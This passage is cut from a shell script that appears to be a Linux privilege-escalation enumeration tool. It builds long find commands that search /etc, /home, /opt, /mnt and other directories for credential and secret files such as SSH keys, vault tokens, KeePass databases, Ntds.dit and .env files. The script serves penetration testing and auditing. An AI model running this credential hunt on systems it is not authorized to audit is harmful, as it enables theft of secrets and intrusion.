\"KeePass.enforced*\" -o -name \"*.socket\" -o -name \"fastcgi_params\" -o -name \".ldaprc\" -o -name \"settings.php\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.keystore\" -o -name \"*.cer\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"KeePass.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_CDROM=`eval_bckgrd "find /cdrom -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"id_rsa*\" -o -name \"sysprep.xml\" -o -name \".msmtprc\" -o -name \"unattend.inf\" -o -name \"ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"access_tokens.json\" -o -name \"*.crt\" -o -name \"mariadb.cnf\" -o -name \"protecteduserkey.bin\" -o -name \"server.xml\" -o -name \"*.der\" -o -name \".recently-used.xbel\" -o -name \"*vnc*.ini\" -o -name \"config.php\" -o -name \"sentry.conf.py\" -o -name \"redis.conf\" -o -name \"kadm5.acl\" -o -name \"kcpassword\" -o -name \".sudo_as_admin_successful\" -o -name \"https-xampp.conf\" -o -name \"gvm-tools.conf\" -o -name \"unattend.txt\" -o -name \"system.sav\" -o -name \".google_authenticator\" -o -name \"azureProfile.json\" -o -name \"000-default.conf\" -o -name \"*.jks\" -o -name \".github\" -o -name \".git-credentials\" -o -name \"sitemanager.xml\" -o -name \"autologin\" -o -name \"sites.ini\" -o -name \"gitlab.rm\" -o -name \"hosts.equiv\" -o -name \"ffftp.ini\" -o -name \"recentservers.xml\" -o -name \"index.dat\" -o -name \"security.sav\" -o -name \"*vnc*.txt\" -o -name \"vault-ssh-helper.hcl\" -o -name \"known_hosts\" -o -name \".vault-token\" -o -name \".lesshst\" -o -name \"AzureRMContext.json\" -o -name \"groups.xml\" -o -name \"my.ini\" -o -name \"*.keyring\" -o -name \"AppEvent.Evt\" -o -name \"*.csr\" -o -name \"drives.xml\" -o -name \".profile\" -o -name \"scheduledtasks.xml\" -o -name \"*.timer\" -o -name \"*vnc*.xml\" -o -name \"SAM\" -o -name \"rsyncd.conf\" -o -name \"tomcat-users.xml\" -o -name \"NetSetup.log\" -o -name \"creds*\" -o -name \"*.key\" -o -name \".*_history.*\" -o -name \"web*.config\" -o -name \"racoon.conf\" -o -name \".erlang.cookie\" -o -name \"setupinfo.bak\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"wcx_ftp.ini\" -o -name \".gitconfig\" -o -name \"*.pem\" -o -name \"*.pfx\" -o -name \"credentials.db\" -o -name \"hostapd.conf\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"Ntds.dit\" -o -name \".wgetrc\" -o -name \"*.gpg\" -o -name \"docker-compose.yml\" -o -name \"bash.exe\" -o -name \"filezilla.xml\" -o -name \"*.db\" -o -name \"winscp.ini\" -o -name \"mosquitto.conf\" -o -name \"*.gnupg\" -o -name \".env\" -o -name \"*.ftpconfig\" -o -name \"authorized_hosts\" -o -name \"ipsec.secrets\" -o -name \"db.php\" -o -name \"*.pgp\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"scclient.exe\" -o -name \"sysprep.inf\" -o -name \"pgadmin*.db\" -o -name \"anaconda-ks.cfg\" -o -name \"SYSTEM\" -o -name \"*config*.php\" -o -name \"krb5.conf\" -o -name \"debian.cnf\" -o -name \"*.viminfo\" -o -name \"docker.sock\" -o -name \"krb5.keytab\" -o -name \"passwd\" -o -name \"supervisord.conf\" -o -name \"kibana.y*ml\" -o -name \"pagefile.sys\" -o -name \"https.conf\" -o -name \"unattended.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"snmpd.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"ddclient.conf\" -o -name \".rhosts\" -o -name \"storage.php\" -o -name \"*.p12\" -o -name \"ipsec.conf\" -o -name \"*.kdbx\" -o -name \".htpasswd\" -o -name \"authorized_keys\" -o -name \"gitlab.yml\" -o -name \".plan\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"appcmd.exe\" -o -name \"*password*\" -o -name \"*.service\" -o -name \"datasources.xml\" -o -name \"printers.xml\" -o -name \"ntuser.dat\" -o -name \"*.rdg\" -o -name \"wsl.exe\" -o -name \"iis6.log\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"Dockerfile\" -o -name \"cloud.cfg\" -o -name \"access_tokens.db\" -o -name \"rsyncd.secrets\" -o -name \"mongod*.conf\" -o -name \".k5login\" -o -name \"error.log\" -o -name \"unattend.xml\" -o -name \"ftp.config\" -o -name \"backups\" -o -name \".git\" -o -name \"php.ini\" -o -name \"software\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"setupinfo\" -o -name \".pypirc\" -o -name \"httpd.conf\" -o -name \"default.sav\" -o -name \"*.sqlite3\" -o -name \"*.ovpn\" -o -name \"SecEvent.Evt\" -o -name \"postgresql.conf\" -o -name \"pgsql.conf\" -o -name \"pg_hba.conf\" -o -name \"psk.txt\" -o -name \"*.sqlite\" -o -name \"KeePass.enforced*\" -o -name \"*.socket\" -o -name \"fastcgi_params\" -o -name \".ldaprc\" -o -name \"settings.php\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.keystore\" -o -name \"*.cer\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"KeePass.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_ETC=`eval_bckgrd "find /etc -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"id_rsa*\" -o -name \"sysprep.xml\" -o -name \".msmtprc\" -o -name \"unattend.inf\" -o -name \"ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"access_tokens.json\" -o -name \"*.crt\" -o -name \"mariadb.cnf\" -o -name \"protecteduserkey.bin\" -o -name \"server.xml\" -o -name \"*.der\" -o -name \".recently-used.xbel\" -o -name \"*vnc*.ini\" -o -name \"config.php\" -o -name \"sentry.conf.py\" -o -name \"redis.conf\" -o -name \"kadm5.acl\" -o -name \"kcpassword\" -o -name \".sudo_as_admin_successful\" -o -name \"https-xampp.conf\" -o -name \"gvm-tools.conf\" -o -name \"unattend.txt\" -o -name \"system.sav\" -o -name \".google_authenticator\" -o -name \"azureProfile.json\" -o -name \"000-default.conf\" -o -name \"*.jks\" -o -name \".github\" -o -name \".git-credentials\" -o -name \"sitemanager.xml\" -o -name \"autologin\" -o -name \"sites.ini\" -o -name \"gitlab.rm\" -o -name \"hosts.equiv\" -o -name \"ffftp.ini\" -o -name \"recentservers.xml\" -o -name \"index.dat\" -o -name \"security.sav\" -o -name \"*vnc*.txt\" -o -name \"vault-ssh-helper.hcl\" -o -name \"known_hosts\" -o -name \".vault-token\" -o -name \".lesshst\" -o -name \"AzureRMContext.json\" -o -name \"groups.xml\" -o -name \"my.ini\" -o -name \"*.keyring\" -o -name \"AppEvent.Evt\" -o -name \"*.csr\" -o -name \"drives.xml\" -o -name \".profile\" -o -name \"scheduledtasks.xml\" -o -name \"*.timer\" -o -name \"*vnc*.xml\" -o -name \"SAM\" -o -name \"rsyncd.conf\" -o -name \"tomcat-users.xml\" -o -name \"NetSetup.log\" -o -name \"creds*\" -o -name \"*.key\" -o -name \".*_history.*\" -o -name \"web*.config\" -o -name \"racoon.conf\" -o -name \".erlang.cookie\" -o -name \"setupinfo.bak\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"wcx_ftp.ini\" -o -name \".gitconfig\" -o -name \"*.pem\" -o -name \"*.pfx\" -o -name \"credentials.db\" -o -name \"hostapd.conf\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"Ntds.dit\" -o -name \".wgetrc\" -o -name \"*.gpg\" -o -name \"docker-compose.yml\" -o -name \"bash.exe\" -o -name \"filezilla.xml\" -o -name \"*.db\" -o -name \"*knockd*\" -o -name \"winscp.ini\" -o -name \"mosquitto.conf\" -o -name \"*.gnupg\" -o -name \".env\" -o -name \"*.ftpconfig\" -o -name \"authorized_hosts\" -o -name \"ipsec.secrets\" -o -name \"db.php\" -o -name \"*.pgp\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"scclient.exe\" -o -name \"sysprep.inf\" -o -name \"pgadmin*.db\" -o -name \"anaconda-ks.cfg\" -o -name \"SYSTEM\" -o -name \"*config*.php\" -o -name \"krb5.conf\" -o -name \"debian.cnf\" -o -name \"*.viminfo\" -o -name \"docker.sock\" -o -name \"krb5.keytab\" -o -name \"passwd\" -o -name \"supervisord.conf\" -o -name \"kibana.y*ml\" -o -name \"pagefile.sys\" -o -name \"https.conf\" -o -name \"unattended.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"snmpd.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"ddclient.conf\" -o -name \".rhosts\" -o -name \"storage.php\" -o -name \"*.p12\" -o -name \"ipsec.conf\" -o -name \"*.kdbx\" -o -name \".htpasswd\" -o -name \"authorized_keys\" -o -name \"gitlab.yml\" -o -name \".plan\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"appcmd.exe\" -o -name \"*password*\" -o -name \"*.service\" -o -name \"datasources.xml\" -o -name \"printers.xml\" -o -name \"ntuser.dat\" -o -name \"*.rdg\" -o -name \"wsl.exe\" -o -name \"iis6.log\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"Dockerfile\" -o -name \"cloud.cfg\" -o -name \"access_tokens.db\" -o -name \"rsyncd.secrets\" -o -name \"mongod*.conf\" -o -name \".k5login\" -o -name \"error.log\" -o -name \"unattend.xml\" -o -name \"ftp.config\" -o -name \"backups\" -o -name \".git\" -o -name \"php.ini\" -o -name \"software\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"setupinfo\" -o -name \".pypirc\" -o -name \"httpd.conf\" -o -name \"default.sav\" -o -name \"*.sqlite3\" -o -name \"*.ovpn\" -o -name \"SecEvent.Evt\" -o -name \"postgresql.conf\" -o -name \"pgsql.conf\" -o -name \"pg_hba.conf\" -o -name \"psk.txt\" -o -name \"*.sqlite\" -o -name \"KeePass.enforced*\" -o -name \"*.socket\" -o -name \"fastcgi_params\" -o -name \".ldaprc\" -o -name \"settings.php\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.keystore\" -o -name \"*.cer\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"KeePass.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"id_rsa*\" -o -name \"sysprep.xml\" -o -name \".msmtprc\" -o -name \"unattend.inf\" -o -name \"ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"access_tokens.json\" -o -name \"*.crt\" -o -name \"mariadb.cnf\" -o -name \"protecteduserkey.bin\" -o -name \"server.xml\" -o -name \"*.der\" -o -name \".recently-used.xbel\" -o -name \"*vnc*.ini\" -o -name \"config.php\" -o -name \"sentry.conf.py\" -o -name \"redis.conf\" -o -name \"kadm5.acl\" -o -name \"kcpassword\" -o -name \".sudo_as_admin_successful\" -o -name \"https-xampp.conf\" -o -name \"gvm-tools.conf\" -o -name \"unattend.txt\" -o -name \"system.sav\" -o -name \".google_authenticator\" -o -name \"azureProfile.json\" -o -name \"000-default.conf\" -o -name \"*.jks\" -o -name \".github\" -o -name \".git-credentials\" -o -name \"sitemanager.xml\" -o -name \"autologin\" -o -name \"sites.ini\" -o -name \"gitlab.rm\" -o -name \"hosts.equiv\" -o -name \"ffftp.ini\" -o -name \"recentservers.xml\" -o -name \"index.dat\" -o -name \"security.sav\" -o -name \"*vnc*.txt\" -o -name \"vault-ssh-helper.hcl\" -o -name \"known_hosts\" -o -name \".vault-token\" -o -name \".lesshst\" -o -name \"AzureRMContext.json\" -o -name \"groups.xml\" -o -name \"my.ini\" -o -name \"*.keyring\" -o -name \"AppEvent.Evt\" -o -name \"*.csr\" -o -name \"drives.xml\" -o -name \".profile\" -o -name \"scheduledtasks.xml\" -o -name \"*.timer\" -o -name \"*vnc*.xml\" -o -name \"SAM\" -o -name \"rsyncd.conf\" -o -name \"tomcat-users.xml\" -o -name \"NetSetup.log\" -o -name \"creds*\" -o -name \"*.key\" -o -name \".*_history.*\" -o -name \"web*.config\" -o -name \"racoon.conf\" -o -name \".erlang.cookie\" -o -name \"setupinfo.bak\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"wcx_ftp.ini\" -o -name \".gitconfig\" -o -name \"*.pem\" -o -name \"*.pfx\" -o -name \"credentials.db\" -o -name \"hostapd.conf\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"Ntds.dit\" -o -name \".wgetrc\" -o -name \"*.gpg\" -o -name \"docker-compose.yml\" -o -name \"bash.exe\" -o -name \"filezilla.xml\" -o -name \"*.db\" -o -name \"winscp.ini\" -o -name \"mosquitto.conf\" -o -name \"*.gnupg\" -o -name \".env\" -o -name \"*.ftpconfig\" -o -name \"authorized_hosts\" -o -name \"ipsec.secrets\" -o -name \"db.php\" -o -name \"*.pgp\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"scclient.exe\" -o -name \"sysprep.inf\" -o -name \"pgadmin*.db\" -o -name \"anaconda-ks.cfg\" -o -name \"ssh*config\" -o -name \"SYSTEM\" -o -name \"*config*.php\" -o -name \"krb5.conf\" -o -name \"debian.cnf\" -o -name \"*.viminfo\" -o -name \"docker.sock\" -o -name \"krb5.keytab\" -o -name \"passwd\" -o -name \"supervisord.conf\" -o -name \"kibana.y*ml\" -o -name \"pagefile.sys\" -o -name \"https.conf\" -o -name \"unattended.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"snmpd.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"ddclient.conf\" -o -name \".rhosts\" -o -name \"storage.php\" -o -name \"*.p12\" -o -name \"ipsec.conf\" -o -name \"*.kdbx\" -o -name \".htpasswd\" -o -name \"authorized_keys\" -o -name \"gitlab.yml\" -o -name \".plan\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"appcmd.exe\" -o -name \"*password*\" -o -name \"*.service\" -o -name \"datasources.xml\" -o -name \"printers.xml\" -o -name \"ntuser.dat\" -o -name \"*.rdg\" -o -name \"wsl.exe\" -o -name \"iis6.log\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"Dockerfile\" -o -name \"cloud.cfg\" -o -name \"access_tokens.db\" -o -name \"rsyncd.secrets\" -o -name \"mongod*.conf\" -o -name \".k5login\" -o -name \"error.log\" -o -name \"unattend.xml\" -o -name \"ftp.config\" -o -name \"backups\" -o -name \".git\" -o -name \"php.ini\" -o -name \"software\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"setupinfo\" -o -name \".pypirc\" -o -name \"httpd.conf\" -o -name \"default.sav\" -o -name \"*.sqlite3\" -o -name \"*.ovpn\" -o -name \"SecEvent.Evt\" -o -name \"postgresql.conf\" -o -name \"pgsql.conf\" -o -name \"pg_hba.conf\" -o -name \"psk.txt\" -o -name \"*.sqlite\" -o -name \"KeePass.enforced*\" -o -name \"*.socket\" -o -name \"fastcgi_params\" -o -name \".ldaprc\" -o -name \"settings.php\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.keystore\" -o -name \"*.cer\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"KeePass.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_LIB=`eval_bckgrd "find /lib -name \"*.service\" -o -name \"*.timer\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_LIB32=`eval_bckgrd "find /lib32 -name \"*.service\" -o -name \"*.timer\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_LIB64=`eval_bckgrd "find /lib64 -name \"*.service\" -o -name \"*.timer\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_MEDIA=`eval_bckgrd "find /media -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"id_rsa*\" -o -name \"sysprep.xml\" -o -name \".msmtprc\" -o -name \"unattend.inf\" -o -name \"ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"access_tokens.json\" -o -name \"*.crt\" -o -name \"mariadb.cnf\" -o -name \"protecteduserkey.bin\" -o -name \"server.xml\" -o -name \"*.der\" -o -name \".recently-used.xbel\" -o -name \"*vnc*.ini\" -o -name \"config.php\" -o -name \"sentry.conf.py\" -o -name \"redis.conf\" -o -name \"kadm5.acl\" -o -name \"kcpassword\" -o -name \".sudo_as_admin_successful\" -o -name \"https-xampp.conf\" -o -name \"gvm-tools.conf\" -o -name \"unattend.txt\" -o -name \"system.sav\" -o -name \".google_authenticator\" -o -name \"azureProfile.json\" -o -name \"000-default.conf\" -o -name \"*.jks\" -o -name \".github\" -o -name \".git-credentials\" -o -name \"sitemanager.xml\" -o -name \"autologin\" -o -name \"sites.ini\" -o -name \"gitlab.rm\" -o -name \"hosts.equiv\" -o -name \"ffftp.ini\" -o -name \"recentservers.xml\" -o -name \"index.dat\" -o -name \"security.sav\" -o -name \"*vnc*.txt\" -o -name \"vault-ssh-helper.hcl\" -o -name \"known_hosts\" -o -name \".vault-token\" -o -name \".lesshst\" -o -name \"AzureRMContext.json\" -o -name \"groups.xml\" -o -name \"my.ini\" -o -name \"*.keyring\" -o -name \"AppEvent.Evt\" -o -name \"*.csr\" -o -name \"drives.xml\" -o -name \".profile\" -o -name \"scheduledtasks.xml\" -o -name \"*.timer\" -o -name \"*vnc*.xml\" -o -name \"SAM\" -o -name \"rsyncd.conf\" -o -name \"tomcat-users.xml\" -o -name \"NetSetup.log\" -o -name \"creds*\" -o -name \"*.key\" -o -name \".*_history.*\" -o -name \"web*.config\" -o -name \"racoon.conf\" -o -name \".erlang.cookie\" -o -name \"setupinfo.bak\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"wcx_ftp.ini\" -o -name \".gitconfig\" -o -name \"*.pem\" -o -name \"*.pfx\" -o -name \"credentials.db\" -o -name \"hostapd.conf\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"Ntds.dit\" -o -name \".wgetrc\" -o -name \"*.gpg\" -o -name \"docker-compose.yml\" -o -name \"bash.exe\" -o -name \"filezilla.xml\" -o -name \"*.db\" -o -name \"winscp.ini\" -o -name \"mosquitto.conf\" -o -name \"*.gnupg\" -o -name \".env\" -o -name \"*.ftpconfig\" -o -name \"authorized_hosts\" -o -name \"ipsec.secrets\" -o -name \"db.php\" -o -name \"*.pgp\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"scclient.exe\" -o -name \"sysprep.inf\" -o -name \"pgadmin*.db\" -o -name \"anaconda-ks.cfg\" -o -name \"SYSTEM\" -o -name \"*config*.php\" -o -name \"krb5.conf\" -o -name \"debian.cnf\" -o -name \"*.viminfo\" -o -name \"docker.sock\" -o -name \"krb5.keytab\" -o -name \"passwd\" -o -name \"supervisord.conf\" -o -name \"kibana.y*ml\" -o -name \"pagefile.sys\" -o -name \"https.conf\" -o -name \"unattended.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"snmpd.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"ddclient.conf\" -o -name \".rhosts\" -o -name \"storage.php\" -o -name \"*.p12\" -o -name \"ipsec.conf\" -o -name \"*.kdbx\" -o -name \".htpasswd\" -o -name \"authorized_keys\" -o -name \"gitlab.yml\" -o -name \".plan\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"appcmd.exe\" -o -name \"*password*\" -o -name \"*.service\" -o -name \"datasources.xml\" -o -name \"printers.xml\" -o -name \"ntuser.dat\" -o -name \"*.rdg\" -o -name \"wsl.exe\" -o -name \"iis6.log\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"Dockerfile\" -o -name \"cloud.cfg\" -o -name \"access_tokens.db\" -o -name \"rsyncd.secrets\" -o -name \"mongod*.conf\" -o -name \".k5login\" -o -name \"error.log\" -o -name \"unattend.xml\" -o -name \"ftp.config\" -o -name \"backups\" -o -name \".git\" -o -name \"php.ini\" -o -name \"software\" -o -name \"wp-config.php\" -o -name \"cesi.conf\" -o -name \"setupinfo\" -o -name \".pypirc\" -o -name \"httpd.conf\" -o -name \"default.sav\" -o -name \"*.sqlite3\" -o -name \"*.ovpn\" -o -name \"SecEvent.Evt\" -o -name \"postgresql.conf\" -o -name \"pgsql.conf\" -o -name \"pg_hba.conf\" -o -name \"psk.txt\" -o -name \"*.sqlite\" -o -name \"KeePass.enforced*\" -o -name \"*.socket\" -o -name \"fastcgi_params\" -o -name \".ldaprc\" -o -name \"settings.php\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.keystore\" -o -name \"*.cer\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"KeePass.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_MNT=`eval_bckgrd "find /mnt -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"id_rsa*\" -o -name \"sysprep.xml\" -o -name \".msmtprc\" -o -name \"unattend.inf\" -o -name \"ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"access_tokens.json\" -o -name \"*.crt\" -o -name \"mariadb.cnf\" -o -name \"protecteduserkey.bin\" -o -name \"server.xml\" -o -name \"*.der\" -o -name \".recently-used.xbel\" -o -name \"*vnc*.ini\" -o -name \"config.php\" -o -name \"sentry.conf.py\" -o -name \"redis.conf\" -o -name \"kadm5.acl\" -o -name \"kcpassword\" -o -name \".sudo_as_admin_successful\" -o -name \"https-xampp.conf\" -o -name \"gvm-tools.conf\" -o -name \"unattend.txt\" -o -name \"system.sav\" -o -name \".google_authenticator\" -o -name \"azureProfile.json\" -o -name \"000-default.conf\" -o -name \"*.jks\" -o -name \".github\" -o -name \".git-credentials\" -o -name \"sitemanager.xml\" -o -name \"autologin\" -o -name \"sites.ini\" -o -name \"gitlab.rm\" -o -name \"hosts.equiv\" -o -name \"ffftp.ini\" -o -name \"recentservers.xml\" -o -name \"index.dat\" -o -name \"security.sav\" -o -name \"*vnc*.txt\" -o -name \"vault-ssh-helper.hcl\" -o -name \"known_hosts\" -o -name \".vault-token\" -o -name \".lesshst\" -o -name \"AzureRMContext.json\" -o -name \"groups.xml\" -o -name \"my.ini\" -o -name \"*.keyring\" -o -name \"AppEvent.Evt\" -o -name \"*.csr\" -o -name \"drives.xml\" -o -name \".profile\" -o -name \"scheduledtasks.xml\" -o -name \"*.timer\" -o -name \"*vnc*.xml\" -o -name \"SAM\" -o -name \"rsyncd.conf\" -o -name \"tomcat-users.xml\" -o -name \"NetSetup.log\" -o -name \"creds*\" -o -name \"*.key\" -o -name \".*_history.*\" -o -name \"web*.config\" -o -name \"racoon.conf\" -o -name \".erlang.cookie\" -o -name \"setupinfo.bak\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"wcx_ftp.ini\" -o -name \".gitconfig\" -o -name \"*.pem\" -o -name \"*.pfx\" -o -name \"credentials.db\" -o -name \"hostapd.conf\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"Ntds.dit\" -o -name \".wgetrc\" -o -name \"*.gpg\" -o -name \"docker-compose.yml\" -o -name \"bash.exe\" -o -name \"filezilla.xml\" -o -name \"*.db\" -o -name \"winscp.ini\" -o -name \"mosquitto.conf\" -o -name \"*.gnupg\" -o -name \".env\" -o -name \"*.ftpconfig\" -o -name \"authorized_hosts\" -o -name \"ipsec.secrets\" -o -name \"db.php\" -o -name \"*.pgp\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"scclient.exe\" -o -name \"sysprep.inf\" -o -name \"pgadmin*.db\" -o -name \"anaconda-ks.cfg\" -o -name \"SYSTEM\" -o -name \"*config*.php\" -o -name \"krb5.conf\" -o -name \"debian.cnf\" -o -name \"*.viminfo\" -o -name \"docker.sock\" -o -name \"krb5.keytab\" -o -name \"passwd\" -o -name \"supervisord.conf\" -o -name \"kibana.y*ml\" -o -name \"pagefile.sys\" -o -name \"https.conf\" -o -name \"unattended.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"snmpd.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"ddclient.conf\" -o -name \".rhosts\" -o -name \"storage.php\" -o -name \"*.p12\" -o -name \"ipsec.conf\" -o -name \"*.kdbx\" -o -name \".htpasswd\" -o -name \"authorized_keys\" -o -name \"gitlab.yml\" -o -name \".plan\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"appcmd.exe\" -o -name \"*password*\" -o -name \"*.service\" -o -name \"datasources.xml\" -o -name \"printers.xml\" -o -name \"ntuser.dat\" -o -name \"*.rdg\" -o -name \"wsl.exe\" -o -name \"iis6.log\" -o -name \"database.php\" -o -name \"software.sav\" -o -name \"Dockerfile\" -o -name \"cloud.cfg\" -o -name \"access_tokens.db\" -o -name \"rsyncd.secrets\" -o -name \"mongod*.conf\" -o -name \".k5login\" -o -name \"error.log\" -o -name \"unattend.xml\" -o -name \"ftp.config\" -o -name \"backups\" -o -name \".git\" -o -name \"php.ini\" -o -name \"software\" -o -name \"wp-config.php\" -o -name \"sess_*\" -o -name \"cesi.conf\" -o -name \"setupinfo\" -o -name \".pypirc\" -o -name \"httpd.conf\" -o -name \"default.sav\" -o -name \"*.sqlite3\" -o -name \"*.ovpn\" -o -name \"SecEvent.Evt\" -o -name \"postgresql.conf\" -o -name \"pgsql.conf\" -o -name \"pg_hba.conf\" -o -name \"psk.txt\" -o -name \"*.sqlite\" -o -name \"KeePass.enforced*\" -o -name \"*.socket\" -o -name \"fastcgi_params\" -o -name \".ldaprc\" -o -name \"settings.php\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.keystore\" -o -name \"*.cer\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"KeePass.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
|
||||
FIND_OPT=`eval_bckgrd "find /opt -name \"backup\" -o -name \"elasticsearch.y*ml\" -o -name \"id_rsa*\" -o -name \"sysprep.xml\" -o -name \".msmtprc\" -o -name \"unattend.inf\" -o -name \"ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"secrets.yml\" -o -name \"ws_ftp.ini\" -o -name \"RDCMan.settings\" -o -name \"access_tokens.json\" -o -name \"*.crt\" -o -name \"mariadb.cnf\" -o -name \"protecteduserkey.bin\" -o -name \"server.xml\" -o -name \"*.der\" -o -name \".recently-used.xbel\" -o -name \"*vnc*.ini\" -o -name \"config.php\" -o -name \"sentry.conf.py\" -o -name \"redis.conf\" -o -name \"kadm5.acl\" -o -name \"kcpassword\" -o -name \".sudo_as_admin_successful\" -o -name \"https-xampp.conf\" -o -name \"gvm-tools.conf\" -o -name \"unattend.txt\" -o -name \"system.sav\" -o -name \".google_authenticator\" -o -name \"azureProfile.json\" -o -name \"000-default.conf\" -o -name \"*.jks\" -o -name \".github\" -o -name \".git-credentials\" -o -name \"sitemanager.xml\" -o -name \"autologin\" -o -name \"sites.ini\" -o -name \"gitlab.rm\" -o -name \"hosts.equiv\" -o -name \"ffftp.ini\" -o -name \"recentservers.xml\" -o -name \"index.dat\" -o -name \"security.sav\" -o -name \"*vnc*.txt\" -o -name \"vault-ssh-helper.hcl\" -o -name \"known_hosts\" -o -name \".vault-token\" -o -name \".lesshst\" -o -name \"AzureRMContext.json\" -o -name \"groups.xml\" -o -name \"my.ini\" -o -name \"*.keyring\" -o -name \"AppEvent.Evt\" -o -name \"*.csr\" -o -name \"drives.xml\" -o -name \".profile\" -o -name \"scheduledtasks.xml\" -o -name \"*.timer\" -o -name \"*vnc*.xml\" -o -name \"SAM\" -o -name \"rsyncd.conf\" -o -name \"tomcat-users.xml\" -o -name \"NetSetup.log\" -o -name \"creds*\" -o -name \"*.key\" -o -name \".*_history.*\" -o -name \"web*.config\" -o -name \"racoon.conf\" -o -name \".erlang.cookie\" -o -name \"setupinfo.bak\" -o -name \".bashrc\" -o -name \"KeePass.config*\" -o -name \"wcx_ftp.ini\" -o -name \".gitconfig\" -o -name \"*.pem\" -o -name \"*.pfx\" -o -name \"credentials.db\" -o -name \"hostapd.conf\" -o -name \"credentials\" -o -name \"access.log\" -o -name \"Ntds.dit\" -o -name \".wgetrc\" -o -name \"*.gpg\" -o -name \"docker-compose.yml\" -o -name \"bash.exe\" -o -name \"filezilla.xml\" -o -name \"*.db\" -o -name \"winscp.ini\" -o -name \"mosquitto.conf\" -o -name \"*.gnupg\" -o -name \".env\" -o -name \"*.ftpconfig\" -o -name \"authorized_hosts\" -o -name \"ipsec.secrets\" -o -name 